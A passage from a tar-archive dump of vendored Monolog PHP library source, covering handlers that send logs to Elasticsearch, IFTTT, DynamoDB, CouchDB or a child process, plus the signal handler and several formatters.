full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; /** * Exception can be thrown if an extension for a handler is missing * * @author Christian Bergau <cbergau86@gmail.com> */ class MissingExtensionException extends \Exception { } ���������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/ElasticsearchHandler.php��������������������������0000644�����������������00000012536�15154650146�0023030 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Throwable; use RuntimeException; use Monolog\Logger; use Monolog\Formatter\FormatterInterface; use Monolog\Formatter\ElasticsearchFormatter; use InvalidArgumentException; use Elasticsearch\Common\Exceptions\RuntimeException as ElasticsearchRuntimeException; use Elasticsearch\Client; /** * Elasticsearch handler * * @link https://www.elastic.co/guide/en/elasticsearch/client/php-api/current/index.html * * Simple usage example: * * $client = \Elasticsearch\ClientBuilder::create() * ->setHosts($hosts) * ->build(); * * $options = array( * 'index' => 'elastic_index_name', * 'type' => 'elastic_doc_type', * ); * $handler = new ElasticsearchHandler($client, $options); * $log = new Logger('application'); * $log->pushHandler($handler); * * @author Avtandil Kikabidze <akalongman@gmail.com> */ class ElasticsearchHandler extends AbstractProcessingHandler { /** * @var Client */ protected $client; /** * @var array Handler config options */ protected $options = []; /** * @param Client $client Elasticsearch Client object * @param array $options Handler configuration * @param string|int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct(Client $client, array $options = [], $level = Logger::DEBUG, bool $bubble = true) { parent::__construct($level, $bubble); $this->client = $client; $this->options = array_merge( [ 'index' => 'monolog', // Elastic index name 'type' => '_doc', // Elastic document type 'ignore_error' => false, // Suppress Elasticsearch exceptions ], $options ); } /** * {@inheritDoc} */ protected function write(array $record): void { $this->bulkSend([$record['formatted']]); } /** * {@inheritdoc} */ public function setFormatter(FormatterInterface $formatter): HandlerInterface { if ($formatter instanceof ElasticsearchFormatter) { return parent::setFormatter($formatter); } throw new InvalidArgumentException('ElasticsearchHandler is only compatible with ElasticsearchFormatter'); } /** * Getter options * * @return array */ public function getOptions(): array { return $this->options; } /** * {@inheritDoc} */ protected function getDefaultFormatter(): FormatterInterface { return new ElasticsearchFormatter($this->options['index'], $this->options['type']); } /** * {@inheritdoc} */ public function handleBatch(array $records): void { $documents = $this->getFormatter()->formatBatch($records); $this->bulkSend($documents); } /** * Use Elasticsearch bulk API to send list of documents * * @param array $records * @throws \RuntimeException */ protected function bulkSend(array $records): void { try { $params = [ 'body' => [], ]; foreach ($records as $record) { $params['body'][] = [ 'index' => [ '_index' => $record['_index'], '_type' => $record['_type'], ], ]; unset($record['_index'], $record['_type']); $params['body'][] = $record; } $responses = $this->client->bulk($params); if ($responses['errors'] === true) { throw $this->createExceptionFromResponses($responses); } } catch (Throwable $e) { if (! $this->options['ignore_error']) { throw new RuntimeException('Error sending messages to Elasticsearch', 0, $e); } } } /** * Creates elasticsearch exception from responses array * * Only the first error is converted into an exception. * * @param array $responses returned by $this->client->bulk() */ protected function createExceptionFromResponses(array $responses): ElasticsearchRuntimeException { foreach ($responses['items'] ?? [] as $item) { if (isset($item['index']['error'])) { return $this->createExceptionFromError($item['index']['error']); } } return new ElasticsearchRuntimeException('Elasticsearch failed to index one or more records.'); } /** * Creates elasticsearch exception from error array * * @param array $error */ protected function createExceptionFromError(array $error): ElasticsearchRuntimeException { $previous = isset($error['caused_by']) ? $this->createExceptionFromError($error['caused_by']) : null; return new ElasticsearchRuntimeException($error['type'] . ': ' . $error['reason'], 0, $previous); } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/IFTTTHandler.php����������������������������������0000644�����������������00000004223�15154650146�0021142 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Monolog\Utils; /** * IFTTTHandler uses cURL to trigger IFTTT Maker actions * * Register a secret key and trigger/event name at https://ifttt.com/maker * * value1 will be the channel from monolog's Logger constructor, * value2 will be the level name (ERROR, WARNING, ..) * value3 will be the log record's message * * @author Nehal Patel <nehal@nehalpatel.me> */ class IFTTTHandler extends AbstractProcessingHandler { private $eventName; private $secretKey; /** * @param string $eventName The name of the IFTTT Maker event that should be triggered * @param string $secretKey A valid IFTTT secret key * @param string|int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct(string $eventName, string $secretKey, $level = Logger::ERROR, bool $bubble = true) { $this->eventName = $eventName; $this->secretKey = $secretKey; parent::__construct($level, $bubble); } /** * {@inheritdoc} */ public function write(array $record): void { $postData = [ "value1" => $record["channel"], "value2" => $record["level_name"], "value3" => $record["message"], ]; $postString = Utils::jsonEncode($postData); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "https://maker.ifttt.com/trigger/" . $this->eventName . "/with/key/" . $this->secretKey); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $postString); curl_setopt($ch, CURLOPT_HTTPHEADER, [ "Content-Type: application/json", ]); Curl\Util::execute($ch); } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/DynamoDbHandler.php�������������������������������0000644�����������������00000004634�15154650146�0021753 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Aws\Sdk; use Aws\DynamoDb\DynamoDbClient; use Monolog\Formatter\FormatterInterface; use Aws\DynamoDb\Marshaler; use Monolog\Formatter\ScalarFormatter; use Monolog\Logger; /** * Amazon DynamoDB handler (http://aws.amazon.com/dynamodb/) * * @link https://github.com/aws/aws-sdk-php/ * @author Andrew Lawson <adlawson@gmail.com> */ class DynamoDbHandler extends AbstractProcessingHandler { public const DATE_FORMAT = 'Y-m-d\TH:i:s.uO'; /** * @var DynamoDbClient */ protected $client; /** * @var string */ protected $table; /** * @var int */ protected $version; /** * @var Marshaler */ protected $marshaler; /** * @param int|string $level */ public function __construct(DynamoDbClient $client, string $table, $level = Logger::DEBUG, bool $bubble = true) { /** @phpstan-ignore-next-line */ if (defined('Aws\Sdk::VERSION') && version_compare(Sdk::VERSION, '3.0', '>=')) { $this->version = 3; $this->marshaler = new Marshaler; } else { $this->version = 2; } $this->client = $client; $this->table = $table; parent::__construct($level, $bubble); } /** * {@inheritdoc} */ protected function write(array $record): void { $filtered = $this->filterEmptyFields($record['formatted']); if ($this->version === 3) { $formatted = $this->marshaler->marshalItem($filtered); } else { /** @phpstan-ignore-next-line */ $formatted = $this->client->formatAttributes($filtered); } $this->client->putItem([ 'TableName' => $this->table, 'Item' => $formatted, ]); } protected function filterEmptyFields(array $record): array { return array_filter($record, function ($value) { return !empty($value) || false === $value || 0 === $value; }); } /** * {@inheritdoc} */ protected function getDefaultFormatter(): FormatterInterface { return new ScalarFormatter(self::DATE_FORMAT); } } ����������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/ProcessableHandlerInterface.php�������������������0000644�����������������00000002066�15154650146�0024336 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Processor\ProcessorInterface; /** * Interface to describe loggers that have processors * * @author Jordi Boggiano <j.boggiano@seld.be> */ interface ProcessableHandlerInterface { /** * Adds a processor in the stack. * * @psalm-param ProcessorInterface|callable(array): array $callback * * @param ProcessorInterface|callable $callback * @return HandlerInterface self */ public function pushProcessor(callable $callback): HandlerInterface; /** * Removes the processor on top of the stack and returns it. * * @psalm-return callable(array): array * * @throws \LogicException In case the processor stack is empty * @return callable */ public function popProcessor(): callable; } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/CouchDBHandler.php��������������������������������0000644�����������������00000003760�15154650146�0021524 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Formatter\FormatterInterface; use Monolog\Formatter\JsonFormatter; use Monolog\Logger; /** * CouchDB handler * * @author Markus Bachmann <markus.bachmann@bachi.biz> */ class CouchDBHandler extends AbstractProcessingHandler { private $options; public function __construct(array $options = [], $level = Logger::DEBUG, bool $bubble = true) { $this->options = array_merge([ 'host' => 'localhost', 'port' => 5984, 'dbname' => 'logger', 'username' => null, 'password' => null, ], $options); parent::__construct($level, $bubble); } /** * {@inheritDoc} */ protected function write(array $record): void { $basicAuth = null; if ($this->options['username']) { $basicAuth = sprintf('%s:%s@', $this->options['username'], $this->options['password']); } $url = 'http://'.$basicAuth.$this->options['host'].':'.$this->options['port'].'/'.$this->options['dbname']; $context = stream_context_create([ 'http' => [ 'method' => 'POST', 'content' => $record['formatted'], 'ignore_errors' => true, 'max_redirects' => 0, 'header' => 'Content-type: application/json', ], ]); if (false === @file_get_contents($url, false, $context)) { throw new \RuntimeException(sprintf('Could not connect to %s', $url)); } } /** * {@inheritDoc} */ protected function getDefaultFormatter(): FormatterInterface { return new JsonFormatter(JsonFormatter::BATCH_MODE_JSON, false); } } ����������������merlin/vendor/monolog/monolog/src/Monolog/Handler/NullHandler.php�����������������������������������0000644�����������������00000002166�15154650146�0021166 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; /** * Blackhole * * Any record it can handle will be thrown away. This can be used * to put on top of an existing stack to override it temporarily. * * @author Jordi Boggiano <j.boggiano@seld.be> */ class NullHandler extends Handler { /** * @var int */ private $level; /** * @param string|int $level The minimum logging level at which this handler will be triggered */ public function __construct($level = Logger::DEBUG) { $this->level = Logger::toMonologLevel($level); } /** * {@inheritdoc} */ public function isHandling(array $record): bool { return $record['level'] >= $this->level; } /** * {@inheritdoc} */ public function handle(array $record): bool { return $record['level'] >= $this->level; } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/ProcessHandler.php��������������������������������0000644�����������������00000012457�15154650146�0021676 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; /** * Stores to STDIN of any process, specified by a command. * * Usage example: * <pre> * $log = new Logger('myLogger'); * $log->pushHandler(new ProcessHandler('/usr/bin/php /var/www/monolog/someScript.php')); * </pre> * * @author Kolja Zuelsdorf <koljaz@web.de> */ class ProcessHandler extends AbstractProcessingHandler { /** * Holds the process to receive data on its STDIN. * * @var resource|bool|null */ private $process; /** * @var string */ private $command; /** * @var string|null */ private $cwd; /** * @var array */ private $pipes = []; /** * @var array */ protected const DESCRIPTOR_SPEC = [ 0 => ['pipe', 'r'], // STDIN is a pipe that the child will read from 1 => ['pipe', 'w'], // STDOUT is a pipe that the child will write to 2 => ['pipe', 'w'], // STDERR is a pipe to catch the any errors ]; /** * @param string $command Command for the process to start. Absolute paths are recommended, * especially if you do not use the $cwd parameter. * @param string|int $level The minimum logging level at which this handler will be triggered. * @param bool $bubble Whether the messages that are handled can bubble up the stack or not. * @param string|null $cwd "Current working directory" (CWD) for the process to be executed in. * @throws \InvalidArgumentException */ public function __construct(string $command, $level = Logger::DEBUG, bool $bubble = true, ?string $cwd = null) { if ($command === '') { throw new \InvalidArgumentException('The command argument must be a non-empty string.'); } if ($cwd === '') { throw new \InvalidArgumentException('The optional CWD argument must be a non-empty string or null.'); } parent::__construct($level, $bubble); $this->command = $command; $this->cwd = $cwd; } /** * Writes the record down to the log of the implementing handler * * @throws \UnexpectedValueException */ protected function write(array $record): void { $this->ensureProcessIsStarted(); $this->writeProcessInput($record['formatted']); $errors = $this->readProcessErrors(); if (empty($errors) === false) { throw new \UnexpectedValueException(sprintf('Errors while writing to process: %s', $errors)); } } /** * Makes sure that the process is actually started, and if not, starts it, * assigns the stream pipes, and handles startup errors, if any. */ private function ensureProcessIsStarted(): void { if (is_resource($this->process) === false) { $this->startProcess(); $this->handleStartupErrors(); } } /** * Starts the actual process and sets all streams to non-blocking. */ private function startProcess(): void { $this->process = proc_open($this->command, static::DESCRIPTOR_SPEC, $this->pipes, $this->cwd); foreach ($this->pipes as $pipe) { stream_set_blocking($pipe, false); } } /** * Selects the STDERR stream, handles upcoming startup errors, and throws an exception, if any. * * @throws \UnexpectedValueException */ private function handleStartupErrors(): void { $selected = $this->selectErrorStream(); if (false === $selected) { throw new \UnexpectedValueException('Something went wrong while selecting a stream.'); } $errors = $this->readProcessErrors(); if (is_resource($this->process) === false || empty($errors) === false) { throw new \UnexpectedValueException( sprintf('The process "%s" could not be opened: ' . $errors, $this->command) ); } } /** * Selects the STDERR stream. * * @return int|bool */ protected function selectErrorStream() { $empty = []; $errorPipes = [$this->pipes[2]]; return stream_select($errorPipes, $empty, $empty, 1); } /** * Reads the errors of the process, if there are any. * * @codeCoverageIgnore * @return string Empty string if there are no errors. */ protected function readProcessErrors(): string { return stream_get_contents($this->pipes[2]); } /** * Writes to the input stream of the opened process. * * @codeCoverageIgnore */ protected function writeProcessInput(string $string): void { fwrite($this->pipes[0], $string); } /** * {@inheritdoc} */ public function close(): void { if (is_resource($this->process)) { foreach ($this->pipes as $pipe) { fclose($pipe); } proc_close($this->process); $this->process = null; } } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/SignalHandler.php�����������������������������������������0000644�����������������00000006562�15154650146�0020120 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog; use Psr\Log\LoggerInterface; use Psr\Log\LogLevel; use ReflectionExtension; /** * Monolog POSIX signal handler * * @author Robert Gust-Bardon <robert@gust-bardon.org> */ class SignalHandler { private $logger; private $previousSignalHandler = []; private $signalLevelMap = []; private $signalRestartSyscalls = []; public function __construct(LoggerInterface $logger) { $this->logger = $logger; } public function registerSignalHandler($signo, $level = LogLevel::CRITICAL, bool $callPrevious = true, bool $restartSyscalls = true, ?bool $async = true): self { if (!extension_loaded('pcntl') || !function_exists('pcntl_signal')) { return $this; } if ($callPrevious) { $handler = pcntl_signal_get_handler($signo); $this->previousSignalHandler[$signo] = $handler; } else { unset($this->previousSignalHandler[$signo]); } $this->signalLevelMap[$signo] = $level; $this->signalRestartSyscalls[$signo] = $restartSyscalls; if ($async !== null) { pcntl_async_signals($async); } pcntl_signal($signo, [$this, 'handleSignal'], $restartSyscalls); return $this; } public function handleSignal($signo, array $siginfo = null): void { static $signals = []; if (!$signals && extension_loaded('pcntl')) { $pcntl = new ReflectionExtension('pcntl'); // HHVM 3.24.2 returns an empty array. foreach ($pcntl->getConstants() ?: get_defined_constants(true)['Core'] as $name => $value) { if (substr($name, 0, 3) === 'SIG' && $name[3] !== '_' && is_int($value)) { $signals[$value] = $name; } } } $level = $this->signalLevelMap[$signo] ?? LogLevel::CRITICAL; $signal = $signals[$signo] ?? $signo; $context = $siginfo ?? []; $this->logger->log($level, sprintf('Program received signal %s', $signal), $context); if (!isset($this->previousSignalHandler[$signo])) { return; } if ($this->previousSignalHandler[$signo] === true || $this->previousSignalHandler[$signo] === SIG_DFL) { if (extension_loaded('pcntl') && function_exists('pcntl_signal') && function_exists('pcntl_sigprocmask') && function_exists('pcntl_signal_dispatch') && extension_loaded('posix') && function_exists('posix_getpid') && function_exists('posix_kill') ) { $restartSyscalls = $this->signalRestartSyscalls[$signo] ?? true; pcntl_signal($signo, SIG_DFL, $restartSyscalls); pcntl_sigprocmask(SIG_UNBLOCK, [$signo], $oldset); posix_kill(posix_getpid(), $signo); pcntl_signal_dispatch(); pcntl_sigprocmask(SIG_SETMASK, $oldset); pcntl_signal($signo, [$this, 'handleSignal'], $restartSyscalls); } } elseif (is_callable($this->previousSignalHandler[$signo])) { $this->previousSignalHandler[$signo]($signo, $siginfo); } } } ����������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/ResettableInterface.php�����������������������������������0000644�����������������00000001754�15154650146�0021316 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog; /** * Handler or Processor implementing this interface will be reset when Logger::reset() is called. * * Resetting ends a log cycle gets them back to their initial state. * * Resetting a Handler or a Processor means flushing/cleaning all buffers, resetting internal * state, and getting it back to a state in which it can receive log records again. * * This is useful in case you want to avoid logs leaking between two requests or jobs when you * have a long running process like a worker or an application server serving multiple requests * in one process. * * @author Grégoire Pineau <lyrixx@lyrixx.info> */ interface ResettableInterface { /** * @return void */ public function reset(); } ��������������������merlin/vendor/monolog/monolog/src/Monolog/Formatter/MongoDBFormatter.php����������������������������0000644�����������������00000010727�15154650146�0022517 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Formatter; use MongoDB\BSON\UTCDateTime; use Monolog\Utils; /** * Formats a record for use with the MongoDBHandler. * * @author Florian Plattner <me@florianplattner.de> */ class MongoDBFormatter implements FormatterInterface { private $exceptionTraceAsString; private $maxNestingLevel; private $isLegacyMongoExt; /** * @param int $maxNestingLevel 0 means infinite nesting, the $record itself is level 1, $record['context'] is 2 * @param bool $exceptionTraceAsString set to false to log exception traces as a sub documents instead of strings */ public function __construct(int $maxNestingLevel = 3, bool $exceptionTraceAsString = true) { $this->maxNestingLevel = max($maxNestingLevel, 0); $this->exceptionTraceAsString = $exceptionTraceAsString; $this->isLegacyMongoExt = extension_loaded('mongodb') && version_compare(phpversion('mongodb'), '1.1.9', '<='); } /** * {@inheritDoc} */ public function format(array $record): array { return $this->formatArray($record); } /** * {@inheritDoc} */ public function formatBatch(array $records): array { foreach ($records as $key => $record) { $records[$key] = $this->format($record); } return $records; } /** * @return array|string Array except when max nesting level is reached then a string "[...]" */ protected function formatArray(array $record, int $nestingLevel = 0) { if ($this->maxNestingLevel == 0 || $nestingLevel <= $this->maxNestingLevel) { foreach ($record as $name => $value) { if ($value instanceof \DateTimeInterface) { $record[$name] = $this->formatDate($value, $nestingLevel + 1); } elseif ($value instanceof \Throwable) { $record[$name] = $this->formatException($value, $nestingLevel + 1); } elseif (is_array($value)) { $record[$name] = $this->formatArray($value, $nestingLevel + 1); } elseif (is_object($value)) { $record[$name] = $this->formatObject($value, $nestingLevel + 1); } } } else { $record = '[...]'; } return $record; } protected function formatObject($value, int $nestingLevel) { $objectVars = get_object_vars($value); $objectVars['class'] = Utils::getClass($value); return $this->formatArray($objectVars, $nestingLevel); } protected function formatException(\Throwable $exception, int $nestingLevel) { $formattedException = [ 'class' => Utils::getClass($exception), 'message' => $exception->getMessage(), 'code' => (int) $exception->getCode(), 'file' => $exception->getFile() . ':' . $exception->getLine(), ]; if ($this->exceptionTraceAsString === true) { $formattedException['trace'] = $exception->getTraceAsString(); } else { $formattedException['trace'] = $exception->getTrace(); } return $this->formatArray($formattedException, $nestingLevel); } protected function formatDate(\DateTimeInterface $value, int $nestingLevel): UTCDateTime { if ($this->isLegacyMongoExt) { return $this->legacyGetMongoDbDateTime($value); } return $this->getMongoDbDateTime($value); } private function getMongoDbDateTime(\DateTimeInterface $value): UTCDateTime { return new UTCDateTime((int) floor(((float) $value->format('U.u')) * 1000)); } /** * This is needed to support MongoDB Driver v1.19 and below * * See https://github.com/mongodb/mongo-php-driver/issues/426 * * It can probably be removed in 2.1 or later once MongoDB's 1.2 is released and widely adopted */ private function legacyGetMongoDbDateTime(\DateTimeInterface $value): UTCDateTime { $milliseconds = floor(((float) $value->format('U.u')) * 1000); $milliseconds = (PHP_INT_SIZE == 8) //64-bit OS? ? (int) $milliseconds : (string) $milliseconds; return new UTCDateTime($milliseconds); } } �����������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Formatter/ElasticsearchFormatter.php����������������������0000644�����������������00000003457�15154650146�0024006 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Formatter; use DateTime; /** * Format a log message into an Elasticsearch record * * @author Avtandil Kikabidze <akalongman@gmail.com> */ class ElasticsearchFormatter extends NormalizerFormatter { /** * @var string Elasticsearch index name */ protected $index; /** * @var string Elasticsearch record type */ protected $type; /** * @param string $index Elasticsearch index name * @param string $type Elasticsearch record type */ public function __construct(string $index, string $type) { // Elasticsearch requires an ISO 8601 format date with optional millisecond precision. parent::__construct(DateTime::ISO8601); $this->index = $index; $this->type = $type; } /** * {@inheritdoc} */ public function format(array $record) { $record = parent::format($record); return $this->getDocument($record); } /** * Getter index * * @return string */ public function getIndex(): string { return $this->index; } /** * Getter type * * @return string */ public function getType(): string { return $this->type; } /** * Convert a log message into an Elasticsearch record * * @param array $record Log message * @return array */ protected function getDocument(array $record): array { $record['_index'] = $this->index; $record['_type'] = $this->type; return $record; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Formatter/HtmlFormatter.php�������������������������������0000644�����������������00000010674�15154650146�0022137 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Formatter; use Monolog\Logger; use Monolog\Utils; /** * Formats incoming records into an HTML table * * This is especially useful for html email logging * * @author Tiago Brito <tlfbrito@gmail.com> */ class HtmlFormatter extends NormalizerFormatter { /** * Translates Monolog log levels to html color priorities. */ protected $logLevels = [ Logger::DEBUG => '#CCCCCC', Logger::INFO => '#28A745', Logger::NOTICE => '#17A2B8', Logger::WARNING => '#FFC107', Logger::ERROR => '#FD7E14', Logger::CRITICAL => '#DC3545', Logger::ALERT => '#821722', Logger::EMERGENCY => '#000000', ]; /** * @param string|null $dateFormat The format of the timestamp: one supported by DateTime::format */ public function __construct(?string $dateFormat = null) { parent::__construct($dateFormat); } /** * Creates an HTML table row * * @param string $th Row header content * @param string $td Row standard cell content * @param bool $escapeTd false if td content must not be html escaped */ protected function addRow(string $th, string $td = ' ', bool $escapeTd = true): string { $th = htmlspecialchars($th, ENT_NOQUOTES, 'UTF-8'); if ($escapeTd) { $td = '<pre>'.htmlspecialchars($td, ENT_NOQUOTES, 'UTF-8').'</pre>'; } return "<tr style=\"padding: 4px;text-align: left;\">\n<th style=\"vertical-align: top;background: #ccc;color: #000\" width=\"100\">$th:</th>\n<td style=\"padding: 4px;text-align: left;vertical-align: top;background: #eee;color: #000\">".$td."</td>\n</tr>"; } /** * Create a HTML h1 tag * * @param string $title Text to be in the h1 * @param int $level Error level * @return string */ protected function addTitle(string $title, int $level): string { $title = htmlspecialchars($title, ENT_NOQUOTES, 'UTF-8'); return '<h1 style="background: '.$this->logLevels[$level].';color: #ffffff;padding: 5px;" class="monolog-output">'.$title.'</h1>'; } /** * Formats a log record. * * @param array $record A record to format * @return string The formatted record */ public function format(array $record): string { $output = $this->addTitle($record['level_name'], $record['level']); $output .= '<table cellspacing="1" width="100%" class="monolog-output">'; $output .= $this->addRow('Message', (string) $record['message']); $output .= $this->addRow('Time', $this->formatDate($record['datetime'])); $output .= $this->addRow('Channel', $record['channel']); if ($record['context']) { $embeddedTable = '<table cellspacing="1" width="100%">'; foreach ($record['context'] as $key => $value) { $embeddedTable .= $this->addRow((string) $key, $this->convertToString($value)); } $embeddedTable .= '</table>'; $output .= $this->addRow('Context', $embeddedTable, false); } if ($record['extra']) { $embeddedTable = '<table cellspacing="1" width="100%">'; foreach ($record['extra'] as $key => $value) { $embeddedTable .= $this->addRow((string) $key, $this->convertToString($value)); } $embeddedTable .= '</table>'; $output .= $this->addRow('Extra', $embeddedTable, false); } return $output.'</table>'; } /** * Formats a set of log records. * * @param array $records A set of records to format * @return string The formatted set of records */ public function formatBatch(array $records): string { $message = ''; foreach ($records as $record) { $message .= $this->format($record); } return $message; } protected function convertToString($data): string { if (null === $data || is_scalar($data)) { return (string) $data; } $data = $this->normalize($data); return Utils::jsonEncode($data, JSON_PRETTY_PRINT | Utils::DEFAULT_JSON_FLAGS, true); } } ��������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Formatter/JsonFormatter.php�������������������������������0000644�����������������00000011760�15154650146�0022141 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Formatter; use Throwable; /** * Encodes whatever record data is passed to it as json * * This can be useful to log to databases or remote APIs * * @author Jordi Boggiano <j.boggiano@seld.be> */ class JsonFormatter extends NormalizerFormatter { public const BATCH_MODE_JSON = 1; public const BATCH_MODE_NEWLINES = 2; protected $batchMode; protected $appendNewline; protected $ignoreEmptyContextAndExtra; /** * @var bool */ protected $includeStacktraces = false; public function __construct(int $batchMode = self::BATCH_MODE_JSON, bool $appendNewline = true, bool $ignoreEmptyContextAndExtra = false) { $this->batchMode = $batchMode; $this->appendNewline = $appendNewline; $this->ignoreEmptyContextAndExtra = $ignoreEmptyContextAndExtra; } /** * The batch mode option configures the formatting style for * multiple records. By default, multiple records will be * formatted as a JSON-encoded array. However, for * compatibility with some API endpoints, alternative styles * are available. */ public function getBatchMode(): int { return $this->batchMode; } /** * True if newlines are appended to every formatted record */ public function isAppendingNewlines(): bool { return $this->appendNewline; } /** * {@inheritdoc} */ public function format(array $record): string { $normalized = $this->normalize($record); if (isset($normalized['context']) && $normalized['context'] === []) { if ($this->ignoreEmptyContextAndExtra) { unset($normalized['context']); } else { $normalized['context'] = new \stdClass; } } if (isset($normalized['extra']) && $normalized['extra'] === []) { if ($this->ignoreEmptyContextAndExtra) { unset($normalized['extra']); } else { $normalized['extra'] = new \stdClass; } } return $this->toJson($normalized, true) . ($this->appendNewline ? "\n" : ''); } /** * {@inheritdoc} */ public function formatBatch(array $records): string { switch ($this->batchMode) { case static::BATCH_MODE_NEWLINES: return $this->formatBatchNewlines($records); case static::BATCH_MODE_JSON: default: return $this->formatBatchJson($records); } } public function includeStacktraces(bool $include = true) { $this->includeStacktraces = $include; } /** * Return a JSON-encoded array of records. */ protected function formatBatchJson(array $records): string { return $this->toJson($this->normalize($records), true); } /** * Use new lines to separate records instead of a * JSON-encoded array. */ protected function formatBatchNewlines(array $records): string { $instance = $this; $oldNewline = $this->appendNewline; $this->appendNewline = false; array_walk($records, function (&$value, $key) use ($instance) { $value = $instance->format($value); }); $this->appendNewline = $oldNewline; return implode("\n", $records); } /** * Normalizes given $data. * * @param mixed $data * * @return mixed */ protected function normalize($data, int $depth = 0) { if ($depth > $this->maxNormalizeDepth) { return 'Over '.$this->maxNormalizeDepth.' levels deep, aborting normalization'; } if (is_array($data)) { $normalized = []; $count = 1; foreach ($data as $key => $value) { if ($count++ > $this->maxNormalizeItemCount) { $normalized['...'] = 'Over '.$this->maxNormalizeItemCount.' items ('.count($data).' total), aborting 